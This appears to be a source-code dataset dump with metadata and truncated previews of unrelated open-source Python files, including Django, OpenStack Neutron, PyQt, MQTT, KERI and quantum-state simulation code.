chois9105/instaclone
20b1852c05eddf018dcdfffa5a3fc355a70ade9a
[ "MIT" ]
null
null
null
instaclone/notifications/migrations/0002_auto_20180213_2223.py
chois9105/instaclone
20b1852c05eddf018dcdfffa5a3fc355a70ade9a
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11.9 on 2018-02-13 13:23 from __future__ import unicode_literals from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('notifications', '0001_initial'), ] operations = [ ...
25.964286
93
0.624484
from __future__ import unicode_literals from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('notifications', '0001_initial'), ] operations = [ migrations.AddField( model_name='notification', ...
true
true
f75b5bc643ad9f056929ba076ac4b70f4d140a64
45,552
py
Python
neutron/plugins/ml2/managers.py
mcadariu/neutron
35494af5a25efb8b314941ab85b44923654f6acc
[ "Apache-2.0" ]
1
2018-07-04T07:59:31.000Z
2018-07-04T07:59:31.000Z
neutron/plugins/ml2/managers.py
ljzjohnson/neutron
d78664321482c15981a09642985a540195e754e3
[ "Apache-2.0" ]
null
null
null
neutron/plugins/ml2/managers.py
ljzjohnson/neutron
d78664321482c15981a09642985a540195e754e3
[ "Apache-2.0" ]
1
2018-08-28T17:13:16.000Z
2018-08-28T17:13:16.000Z
# Copyright (c) 2013 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
46.198783
79
0.63264
from neutron_lib.api.definitions import external_net as extnet_apidef from neutron_lib.api.definitions import multiprovidernet as mpnet_apidef from neutron_lib.api.definitions import portbindings from neutron_lib.api.definitions import provider_net as provider from neutron_lib.api import validators from neutron_lib im...
true
true
f75b5beb84419c8127f8c499db2f203a0573fc67
8,127
py
Python
pylps/constraints.py
astraldawn/pylps
e9964a24bb38657b180d441223b4cdb9e1dadc8a
[ "MIT" ]
1
2018-05-19T18:28:12.000Z
2018-05-19T18:28:12.000Z
pylps/constraints.py
astraldawn/pylps
e9964a24bb38657b180d441223b4cdb9e1dadc8a
[ "MIT" ]
12
2018-04-26T00:58:11.000Z
2018-05-13T22:03:39.000Z
pylps/constraints.py
astraldawn/pylps
e9964a24bb38657b180d441223b4cdb9e1dadc8a
[ "MIT" ]
null
null
null
import copy from collections import deque from unification import * from ordered_set import OrderedSet from pylps.kb import KB from pylps.constants import * from pylps.expand import * from pylps.exceptions import * from pylps.utils import * from pylps.plan import Plan, Proposed from pylps.unifier import unify_fact ...
28.21875
76
0.624831
import copy from collections import deque from unification import * from ordered_set import OrderedSet from pylps.kb import KB from pylps.constants import * from pylps.expand import * from pylps.exceptions import * from pylps.utils import * from pylps.plan import Plan, Proposed from pylps.unifier import unify_fact ...
true
true
f75b5cd1d40fd74ab165b6e14a531dfc72534694
4,468
py
Python
stubs.min/System/__init___parts/ConsoleKey.py
ricardyn/ironpython-stubs
4d2b405eda3ceed186e8adca55dd97c332c6f49d
[ "MIT" ]
1
2021-02-02T13:39:16.000Z
2021-02-02T13:39:16.000Z
stubs.min/System/__init___parts/ConsoleKey.py
hdm-dt-fb/ironpython-stubs
4d2b405eda3ceed186e8adca55dd97c332c6f49d
[ "MIT" ]
null
null
null
stubs.min/System/__init___parts/ConsoleKey.py
hdm-dt-fb/ironpython-stubs
4d2b405eda3ceed186e8adca55dd97c332c6f49d
[ "MIT" ]
null
null
null
class ConsoleKey(Enum,IComparable,IFormattable,IConvertible): """ Specifies the standard keys on a console. enum ConsoleKey,values: A (65),Add (107),Applications (93),Attention (246),B (66),Backspace (8),BrowserBack (166),BrowserFavorites (171),BrowserForward (167),BrowserHome (172),BrowserRefresh (168),Brow...
25.386364
1,713
0.674351
class ConsoleKey(Enum,IComparable,IFormattable,IConvertible): pass """ __format__(formattable: IFormattable,format: str) -> str """ pass pass def __gt__(self,*args): pass def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x...
true
true
f75b5cf932434ea4cd715f95ba27d87231e13e38
6,368
py
Python
test/test_baseimage.py
DalavanCloud/hpc-container-maker
555093c0a5c98bd2b0114831b8c676c0c3c50dd7
[ "Apache-2.0" ]
1
2019-02-25T22:54:31.000Z
2019-02-25T22:54:31.000Z
test/test_baseimage.py
DalavanCloud/hpc-container-maker
555093c0a5c98bd2b0114831b8c676c0c3c50dd7
[ "Apache-2.0" ]
null
null
null
test/test_baseimage.py
DalavanCloud/hpc-container-maker
555093c0a5c98bd2b0114831b8c676c0c3c50dd7
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
34.989011
78
0.68326
from __future__ import unicode_literals from __future__ import print_function import logging import unittest from helpers import docker, invalid_ctype, singularity from distutils.version import StrictVersion import hpccm.config from hpccm.primitives.baseimage import baseimage from hpccm.common import linux_distr...
true
true
f75b5d314c9594efa96c8b6b70d649f2f1bd5d35
12,550
py
Python
Scripts/calc_LRP.py
zmlabe/ExtremeEvents
701c274c074dd2c4ae7c7294ec20f35c64e6ea2b
[ "MIT" ]
3
2021-03-08T12:15:58.000Z
2022-02-22T00:32:29.000Z
Scripts/calc_LRP.py
zmlabe/ExtremeEvents
701c274c074dd2c4ae7c7294ec20f35c64e6ea2b
[ "MIT" ]
null
null
null
Scripts/calc_LRP.py
zmlabe/ExtremeEvents
701c274c074dd2c4ae7c7294ec20f35c64e6ea2b
[ "MIT" ]
6
2021-02-12T18:09:30.000Z
2021-09-10T20:26:54.000Z
""" Functions are useful untilities for interpretation of ANN Notes ----- Author : Zachary Labe Date : 22 July 2020 Usage ----- [1] deepTaylorAnalysis(model,XXt,YYt,biasBool,annType,classChunk,startYear) [2] def _gradient_descent_for_bwo(cnn_model_object, loss_tensor, ...
40.746753
114
0.556972
def deepTaylorAnalysis(model,XXt,YYt,biasBool,annType,classChunk,startYear): print('<<<< Started deepTaylorAnalysis() >>>>') import numpy as np import innvestigate import calc_Stats as SSS def invert_year_output(ypred,startYear): inverted_years = SSS.convert_fuzzyDecade_...
true
true
f75b5f65ce6cdb55658e1e5cbf80e102dd2f8c6c
6,914
py
Python
ut3/UT3Game.py
hdelecki/alpha-zero-general-ut3
1b38aad66c3ac38d815fbd21c34475bfa7573706
[ "MIT" ]
null
null
null
ut3/UT3Game.py
hdelecki/alpha-zero-general-ut3
1b38aad66c3ac38d815fbd21c34475bfa7573706
[ "MIT" ]
null
null
null
ut3/UT3Game.py
hdelecki/alpha-zero-general-ut3
1b38aad66c3ac38d815fbd21c34475bfa7573706
[ "MIT" ]
null
null
null
from __future__ import print_function import sys sys.path.append('..') from Game import Game from .UT3Logic import Board import numpy as np """ Game class implementation for the game of Ultimate TicTacToe. Author: Harrison Delecki, github.com/hdelecki Based on the OthelloGame by Surag Nair. """ class UT3Game(Game): ...
33.240385
103
0.48004
from __future__ import print_function import sys sys.path.append('..') from Game import Game from .UT3Logic import Board import numpy as np class UT3Game(Game): def __init__(self, n=3, conv=True): self.conv = conv self.n = n def getArray(self, board): if self.conv: ...
true
true
f75b5fe95afd9f86a7553751227ebb539c3d3ae6
666
py
Python
leetcode/452.py
windniw/just-for-fun
54e5c2be145f3848811bfd127f6a89545e921570
[ "Apache-2.0" ]
1
2019-08-28T23:15:25.000Z
2019-08-28T23:15:25.000Z
leetcode/452.py
windniw/just-for-fun
54e5c2be145f3848811bfd127f6a89545e921570
[ "Apache-2.0" ]
null
null
null
leetcode/452.py
windniw/just-for-fun
54e5c2be145f3848811bfd127f6a89545e921570
[ "Apache-2.0" ]
null
null
null
""" link: https://leetcode-cn.com/problems/minimum-number-of-arrows-to-burst-balloons problem: 给若干区间,问最少需要几个点,能使得任意区间均包含某一个点 solution: 贪心。按左端升序排列,贪心维护点的分布区间;当下一个区间与点分布区间不相交时,选择下一个区间为新的可选分布区间。 """ class Solution: def findMinArrowShots(self, points: List[List[int]]) -> int: if not points: ret...
26.64
81
0.539039
class Solution: def findMinArrowShots(self, points: List[List[int]]) -> int: if not points: return 0 points.sort() cnt, l, r = 1, points[0][0], points[0][1] for i in range(1, len(points)): if points[i][0] <= r: l = max(l, points[i][0]) ...
true
true
f75b617ac99ac71f93d4ac5de0946e4b47cbbcfd
1,410
py
Python
test/test_v1_update_modifier_list_request_selection_type.py
shaminmeerankutty/connect-python-sdk
524c8fe344bc3c0340833984970a07d519c4f5be
[ "Apache-2.0" ]
53
2016-08-06T17:12:16.000Z
2020-08-02T19:43:58.000Z
test/test_v1_update_modifier_list_request_selection_type.py
shaminmeerankutty/connect-python-sdk
524c8fe344bc3c0340833984970a07d519c4f5be
[ "Apache-2.0" ]
32
2016-08-19T16:32:30.000Z
2020-01-14T18:01:37.000Z
test/test_v1_update_modifier_list_request_selection_type.py
shaminmeerankutty/connect-python-sdk
524c8fe344bc3c0340833984970a07d519c4f5be
[ "Apache-2.0" ]
45
2016-09-05T11:58:09.000Z
2020-11-15T16:26:41.000Z
# coding: utf-8 """ Copyright 2017 Square, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable la...
28.77551
126
0.762411
from __future__ import absolute_import import os import sys import unittest import squareconnect from squareconnect.rest import ApiException from squareconnect.models.v1_update_modifier_list_request_selection_type import V1UpdateModifierListRequestSelectionType class TestV1UpdateModifierListRequestSelectionType(...
true
true
f75b61928d5ab139ffa7aac0fa8d2448bbd25e2c
7,613
py
Python
widgets/ImageDetailArea.py
JaySon-Huang/SecertPhotos
e741cc26c19a5b249d45cc70959ac6817196cb8a
[ "MIT" ]
null
null
null
widgets/ImageDetailArea.py
JaySon-Huang/SecertPhotos
e741cc26c19a5b249d45cc70959ac6817196cb8a
[ "MIT" ]
3
2015-05-19T08:43:46.000Z
2015-06-10T17:55:28.000Z
widgets/ImageDetailArea.py
JaySon-Huang/SecertPhotos
e741cc26c19a5b249d45cc70959ac6817196cb8a
[ "MIT" ]
null
null
null
from PyQt5.QtCore import Qt, pyqtSignal, QSize from PyQt5.QtWidgets import ( QLabel, QWidget, QTreeWidgetItem, QHeaderView, QVBoxLayout, QHBoxLayout, ) from .ImageLabel import ImageLabel from .AdaptiveTreeWidget import AdaptiveTreeWidget class ImageDetailArea(QWidget): # signal imageLoaded = pyqtSig...
38.64467
73
0.620255
from PyQt5.QtCore import Qt, pyqtSignal, QSize from PyQt5.QtWidgets import ( QLabel, QWidget, QTreeWidgetItem, QHeaderView, QVBoxLayout, QHBoxLayout, ) from .ImageLabel import ImageLabel from .AdaptiveTreeWidget import AdaptiveTreeWidget class ImageDetailArea(QWidget): imageLoaded = pyqtSignal() ...
true
true
f75b61d193b6912d6d8c6b48156a0a29e8ccdb35
723
py
Python
bin/clean_repo.py
koadman/abacbs2020
0c6a0ca31e7f2c807211b075cc1fa57e18830e00
[ "MIT" ]
1
2021-05-13T05:36:56.000Z
2021-05-13T05:36:56.000Z
bin/clean_repo.py
koadman/abacbs2020
0c6a0ca31e7f2c807211b075cc1fa57e18830e00
[ "MIT" ]
null
null
null
bin/clean_repo.py
koadman/abacbs2020
0c6a0ca31e7f2c807211b075cc1fa57e18830e00
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import sys import json import os posts_dir = sys.argv[1] # iterate over each JSON that was given on the command line for file in sys.argv[2:]: jfile = open(file, 'r') json_data = json.load(jfile) if(json_data['public_archive'] == 'Yes'): continue output_fname = json_data['title'...
34.428571
90
0.679115
import sys import json import os posts_dir = sys.argv[1] for file in sys.argv[2:]: jfile = open(file, 'r') json_data = json.load(jfile) if(json_data['public_archive'] == 'Yes'): continue output_fname = json_data['title'] output_fname = output_fname.replace(' ', '-') if output_fname[-1] == '.':...
true
true
f75b624557afa833a77379f3ce34a5abd561cad6
1,938
py
Python
carts/api/serializers.py
it-teaching-abo-akademi/webshop-project-arnelimperial
98fc7bd8ce031a50c0bd83a6c5c48ed93030e528
[ "Unlicense" ]
null
null
null
carts/api/serializers.py
it-teaching-abo-akademi/webshop-project-arnelimperial
98fc7bd8ce031a50c0bd83a6c5c48ed93030e528
[ "Unlicense" ]
null
null
null
carts/api/serializers.py
it-teaching-abo-akademi/webshop-project-arnelimperial
98fc7bd8ce031a50c0bd83a6c5c48ed93030e528
[ "Unlicense" ]
null
null
null
from rest_framework import serializers from carts.models import Cart from merchandises.models import Merchandise from django.contrib.auth import get_user_model from rest_framework.validators import UniqueTogetherValidator from django.db.models import Sum, Avg, Count class CartSerializer(serializers.ModelSerializer): ...
29.815385
90
0.71775
from rest_framework import serializers from carts.models import Cart from merchandises.models import Merchandise from django.contrib.auth import get_user_model from rest_framework.validators import UniqueTogetherValidator from django.db.models import Sum, Avg, Count class CartSerializer(serializers.ModelSerializer): ...
true
true
f75b629d3a68369cee220c24861e02bbfa03706a
1,907
py
Python
python3/hap/log.py
lexndru/hap
bca18c42873f5d11e38a4958f502530e7f87ab81
[ "MIT" ]
1
2020-01-19T17:31:20.000Z
2020-01-19T17:31:20.000Z
python3/hap/log.py
lexndru/hap
bca18c42873f5d11e38a4958f502530e7f87ab81
[ "MIT" ]
3
2021-03-31T18:48:35.000Z
2021-12-13T19:51:13.000Z
python3/hap/log.py
lexndru/hap
bca18c42873f5d11e38a4958f502530e7f87ab81
[ "MIT" ]
null
null
null
#!/usr/bin/env python # # Copyright (c) 2018 Alexandru Catrina <alex@codeissues.net> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the ri...
32.322034
79
0.708443
import logging class Log(object): config = { r"format": r"%(asctime)-15s %(message)s" } @classmethod def configure(cls, verbose=False): cls.config["level"] = logging.DEBUG if verbose else logging.INFO logging.basicConfig(**cls.config) @classmethod def info(cls, mess...
true
true
f75b640ef17cfea8970b50cd50ac019ecfc92013
3,606
py
Python
tests/test_data_structures_fuzzing.py
pxscott/python-zstandard
3e6553438b0d779f30e07ebc325fdd0c14cecdb2
[ "BSD-3-Clause" ]
null
null
null
tests/test_data_structures_fuzzing.py
pxscott/python-zstandard
3e6553438b0d779f30e07ebc325fdd0c14cecdb2
[ "BSD-3-Clause" ]
null
null
null
tests/test_data_structures_fuzzing.py
pxscott/python-zstandard
3e6553438b0d779f30e07ebc325fdd0c14cecdb2
[ "BSD-3-Clause" ]
null
null
null
import io import os import sys import unittest try: import hypothesis import hypothesis.strategies as strategies except ImportError: raise unittest.SkipTest('hypothesis not available') import zstandard as zstd from .common import ( make_cffi, ) s_windowlog = strategies.integers(min_value=zstd.WINDO...
47.447368
108
0.541043
import io import os import sys import unittest try: import hypothesis import hypothesis.strategies as strategies except ImportError: raise unittest.SkipTest('hypothesis not available') import zstandard as zstd from .common import ( make_cffi, ) s_windowlog = strategies.integers(min_value=zstd.WINDO...
true
true
f75b64cabfa159bdc8ddaabda49077b8a4447c5b
2,757
py
Python
opencv-3.3.0/samples/python/mouse_and_match.py
AmericaGL/TrashTalk_Dapp
401f17289261b5f537b239e7759dc039d53211e1
[ "MIT" ]
2,875
2016-10-21T01:33:22.000Z
2022-03-30T12:15:28.000Z
opencv-3.3.0/samples/python/mouse_and_match.py
AmericaGL/TrashTalk_Dapp
401f17289261b5f537b239e7759dc039d53211e1
[ "MIT" ]
28
2016-10-16T19:42:37.000Z
2018-09-14T21:29:48.000Z
opencv-3.3.0/samples/python/mouse_and_match.py
AmericaGL/TrashTalk_Dapp
401f17289261b5f537b239e7759dc039d53211e1
[ "MIT" ]
1,066
2017-03-11T01:43:28.000Z
2022-03-29T14:52:41.000Z
#!/usr/bin/env python ''' mouse_and_match.py [-i path | --input path: default ../data/] Demonstrate using a mouse to interact with an image: Read in the images in a directory one by one Allow the user to select parts of an image with a mouse When they let go of the mouse, it correlates (using matchTemplate) that pa...
32.821429
94
0.605005
from __future__ import print_function import numpy as np import cv2 import os import sys import glob import argparse from math import * drag_start = None sel = (0,0,0,0) def onmouse(event, x, y, flags, param): global drag_start, sel if event == cv2.EVENT_LBUTTONDOWN: drag_start = x, y sel ...
true
true
f75b65275eed78e8505348966f747c7e76784a06
8,567
py
Python
conductor/conductor/tests/unit/api/controller/v1/test_plans.py
onap/optf-has
dd06e2675aedd7ae6344f2f51e70bbd468f36ce5
[ "Apache-2.0" ]
4
2019-02-14T19:18:09.000Z
2019-10-21T17:17:59.000Z
conductor/conductor/tests/unit/api/controller/v1/test_plans.py
onap/optf-has
dd06e2675aedd7ae6344f2f51e70bbd468f36ce5
[ "Apache-2.0" ]
null
null
null
conductor/conductor/tests/unit/api/controller/v1/test_plans.py
onap/optf-has
dd06e2675aedd7ae6344f2f51e70bbd468f36ce5
[ "Apache-2.0" ]
4
2019-05-09T07:05:54.000Z
2020-11-20T05:56:47.000Z
# # ------------------------------------------------------------------------- # Copyright (c) 2018 Intel Corporation Intellectual Property # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License...
48.954286
109
0.672347
import copy import json import uuid import mock from conductor.api.controllers.v1 import plans from conductor.tests.unit.api import base_api from oslo_serialization import jsonutils class TestPlansController(base_api.BaseApiTest): def test_index_options(self): actual_response = self.app.options('/v1/pl...
true
true
f75b6546e6ca87fef0aa1767894fb5b833985b4e
3,635
py
Python
my_engine/old/net_reader.py
bhrzslm/uncertainty-reasoning
4101974645cddcb5fe8fb08bf1b54fbd92e73eb9
[ "MIT" ]
null
null
null
my_engine/old/net_reader.py
bhrzslm/uncertainty-reasoning
4101974645cddcb5fe8fb08bf1b54fbd92e73eb9
[ "MIT" ]
null
null
null
my_engine/old/net_reader.py
bhrzslm/uncertainty-reasoning
4101974645cddcb5fe8fb08bf1b54fbd92e73eb9
[ "MIT" ]
null
null
null
#!/usr/bin/env python # encoding: utf-8 """ HUGIN (.net) Bayesian network format reader. Author: Behrouz Babaki Using code written by Michiel Derhaeg """ from __future__ import print_function import sys import re import argparse from bayes_net import Node, Potential, BayesNet, findnode netregex = re.compile("net[\s\...
32.747748
99
0.604677
from __future__ import print_function import sys import re import argparse from bayes_net import Node, Potential, BayesNet, findnode netregex = re.compile("net[\s\n]*{(\n|.)*}") noderegex = re.compile("node\s+([_\w-]+)[\n\s]*{([^}]*)}") potentialregex = re.compile("potential\s*\(\s*([_\w-]+)\s*(\|\s*([_\w-]+\s*)+)?\)...
true
true
f75b65b60e6f097d1a2acbb1861df049722f6063
2,898
py
Python
venv/lib/python2.7/site-packages/ansible/utils/module_docs_fragments/aws.py
haind27/test01
7f86c0a33eb0874a6c3f5ff9a923fd0cfc8ef852
[ "MIT" ]
null
null
null
venv/lib/python2.7/site-packages/ansible/utils/module_docs_fragments/aws.py
haind27/test01
7f86c0a33eb0874a6c3f5ff9a923fd0cfc8ef852
[ "MIT" ]
null
null
null
venv/lib/python2.7/site-packages/ansible/utils/module_docs_fragments/aws.py
haind27/test01
7f86c0a33eb0874a6c3f5ff9a923fd0cfc8ef852
[ "MIT" ]
null
null
null
# (c) 2014, Will Thames <will@thames.id.au> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version...
42.617647
143
0.729124
class ModuleDocFragment(object): DOCUMENTATION = """ options: ec2_url: description: - Url to use to connect to EC2 or your Eucalyptus cloud (by default the module will use EC2 endpoints). Ignored for modules where region is required. Must be specified for all other modules if region is no...
true
true
f75b68edf39aa92fedeff69608f8857d1757c955
17,221
py
Python
easyCore/Fitting/Constraints.py
easyScience/easyCore
5d16d5b27803277d0c44886f94dab599f764ae0b
[ "BSD-3-Clause" ]
2
2021-11-02T10:22:45.000Z
2022-02-18T23:41:19.000Z
easyCore/Fitting/Constraints.py
easyScience/easyCore
5d16d5b27803277d0c44886f94dab599f764ae0b
[ "BSD-3-Clause" ]
114
2020-06-30T08:52:27.000Z
2022-03-30T20:47:56.000Z
easyCore/Fitting/Constraints.py
easyScience/easyCore
5d16d5b27803277d0c44886f94dab599f764ae0b
[ "BSD-3-Clause" ]
1
2022-03-04T13:01:09.000Z
2022-03-04T13:01:09.000Z
# SPDX-FileCopyrightText: 2021 easyCore contributors <core@easyscience.software> # SPDX-License-Identifier: BSD-3-Clause # © 2021 Contributors to the easyCore project <https://github.com/easyScience/easyCore> from __future__ import annotations __author__ = 'github.com/wardsimon' __version__ = '0.1.0' from abc im...
38.525727
120
0.611405
from __future__ import annotations __author__ = 'github.com/wardsimon' __version__ = '0.1.0' from abc import abstractmethod, ABCMeta import weakref from asteval import Interpreter from numbers import Number from typing import List, Union, Callable, TYPE_CHECKING from easyCore import borg, np from easyCore.Utils.js...
true
true
f75b6ce2002ea1ad48fffcd572c23689751fa19b
5,416
py
Python
edge_sys_cto/user1/user1.py
betterzero/DTO
8bdad68dc32633a6606532dcb0b12bbd547b9107
[ "Apache-2.0" ]
null
null
null
edge_sys_cto/user1/user1.py
betterzero/DTO
8bdad68dc32633a6606532dcb0b12bbd547b9107
[ "Apache-2.0" ]
null
null
null
edge_sys_cto/user1/user1.py
betterzero/DTO
8bdad68dc32633a6606532dcb0b12bbd547b9107
[ "Apache-2.0" ]
null
null
null
import paho.mqtt.client as mqtt from cvxpy import * import numpy as np import threading import logging import random import time device_user_node_topic = "usernode1/request/area1" # One usernode device has several edge server sub_topics and the quantity equal to the number of edge servers user_node_clients = ...
36.843537
149
0.675406
import paho.mqtt.client as mqtt from cvxpy import * import numpy as np import threading import logging import random import time device_user_node_topic = "usernode1/request/area1" user_node_clients = [ {"broker":"192.168.0.103","port":1883,"name":"blank","sub_topic":"controller/area1","pub_topic":device_user_...
true
true
f75b6db8aeb60095cf10aa6118a40a032603fb7a
8,133
py
Python
tests/test_util.py
mikiec84/home-assistant
d9e3c02df3a2690e74d1b606e8db0a4dd686e872
[ "MIT" ]
null
null
null
tests/test_util.py
mikiec84/home-assistant
d9e3c02df3a2690e74d1b606e8db0a4dd686e872
[ "MIT" ]
null
null
null
tests/test_util.py
mikiec84/home-assistant
d9e3c02df3a2690e74d1b606e8db0a4dd686e872
[ "MIT" ]
null
null
null
""" tests.test_util ~~~~~~~~~~~~~~~~~ Tests Home Assistant util methods. """ # pylint: disable=too-many-public-methods import unittest import time from datetime import datetime, timedelta import homeassistant.util as util class TestUtil(unittest.TestCase): """ Tests util methods. """ def test_sanitize_filen...
33.060976
74
0.589696
import unittest import time from datetime import datetime, timedelta import homeassistant.util as util class TestUtil(unittest.TestCase): def test_sanitize_filename(self): self.assertEqual("test", util.sanitize_filename("test")) self.assertEqual("test", util.sanitize_filename("/test")) se...
true
true
f75b7261aedbdf4cd00d1498b66da93d31e24243
12,448
py
Python
tests/core/test_weighted_threshold.py
ntelfer/keripy
8433bfc35f751d62a413c62b570a7d1983163123
[ "Apache-2.0" ]
null
null
null
tests/core/test_weighted_threshold.py
ntelfer/keripy
8433bfc35f751d62a413c62b570a7d1983163123
[ "Apache-2.0" ]
4
2021-01-27T15:13:33.000Z
2021-02-28T22:06:28.000Z
tests/core/test_weighted_threshold.py
ntelfer/keripy
8433bfc35f751d62a413c62b570a7d1983163123
[ "Apache-2.0" ]
null
null
null
# -*- encoding: utf-8 -*- """ tests delegation primaily from keri.core.eventing """ import os import pytest from keri import help from keri.db import dbing from keri.base import keeping from keri.core import coring from keri.core import eventing logger = help.ogler.getLogger() def test_weighted(): """ Tes...
52.302521
99
0.556555
import os import pytest from keri import help from keri.db import dbing from keri.base import keeping from keri.core import coring from keri.core import eventing logger = help.ogler.getLogger() def test_weighted(): wesSalt = coring.Salter(raw=b'0123456789abcdef').qb64 with dbing.openDB(name="wes") as...
true
true
f75b7343cf1ee995ce31262b4e2bb53b1d51b13b
8,566
py
Python
mlphys/deepqis/Simulator/Distributions.py
slohani-ai/machine-learning-for-physical-sciences
f10f04d768b8eb0966953d76e6a553d3b11af92f
[ "Apache-2.0" ]
7
2022-01-31T18:50:33.000Z
2022-03-31T16:48:47.000Z
mlphys/deepqis/Simulator/Distributions.py
slohani-ai/machine-learning-for-physical-sciences
f10f04d768b8eb0966953d76e6a553d3b11af92f
[ "Apache-2.0" ]
null
null
null
mlphys/deepqis/Simulator/Distributions.py
slohani-ai/machine-learning-for-physical-sciences
f10f04d768b8eb0966953d76e6a553d3b11af92f
[ "Apache-2.0" ]
2
2022-02-16T22:27:00.000Z
2022-03-29T22:46:07.000Z
""" author: Sanjaya Lohani email: slohani@mlphys.com Licence: Apache-2.0 """ import numpy as np import qiskit.quantum_info as qi import tensorflow as tf import tensorflow_probability as tfp class Haar_State: def __init__(self, qs): self._qs = qs def pure_states(self, _): state = qi.random_s...
36.922414
119
0.586038
import numpy as np import qiskit.quantum_info as qi import tensorflow as tf import tensorflow_probability as tfp class Haar_State: def __init__(self, qs): self._qs = qs def pure_states(self, _): state = qi.random_statevector(dims=2 ** self._qs) state_dm = state.to_operator() ...
true
true
f75b736070e90ea1af5fb1705b40c25ab9feed1d
1,936
py
Python
main.py
drewrothstein/omg-my-aws-bills-are-crazy
26feed471891233dea320656b61b7130c1671ac8
[ "Apache-2.0" ]
2
2018-01-27T05:43:26.000Z
2018-01-31T13:37:00.000Z
main.py
drewrothstein/omg-my-aws-bills-are-crazy
26feed471891233dea320656b61b7130c1671ac8
[ "Apache-2.0" ]
null
null
null
main.py
drewrothstein/omg-my-aws-bills-are-crazy
26feed471891233dea320656b61b7130c1671ac8
[ "Apache-2.0" ]
2
2017-08-09T22:05:03.000Z
2021-01-28T14:39:13.000Z
#!/usr/bin/env python """Import AWS Bills into BigQuery from GCS""" # # Started with code from: # https://github.com/drewrothstein/simplebirdmail # https://github.com/GoogleCloudPlatform/python-docs-samples/blob/master/bigquery/api/load_data_from_csv.py # # All are licensed under Apache License, Version 2.0 # http:...
29.784615
108
0.707645
from datetime import datetime, timedelta import logging import uuid from flask import Flask from helpers_gcp import copy_current_table, create_temporary_table from helpers_gcp import delete_table, load_bill_to_bigquery app = Flask(__name__) def runit(): bills_to_parse = [] now = datetime.to...
true
true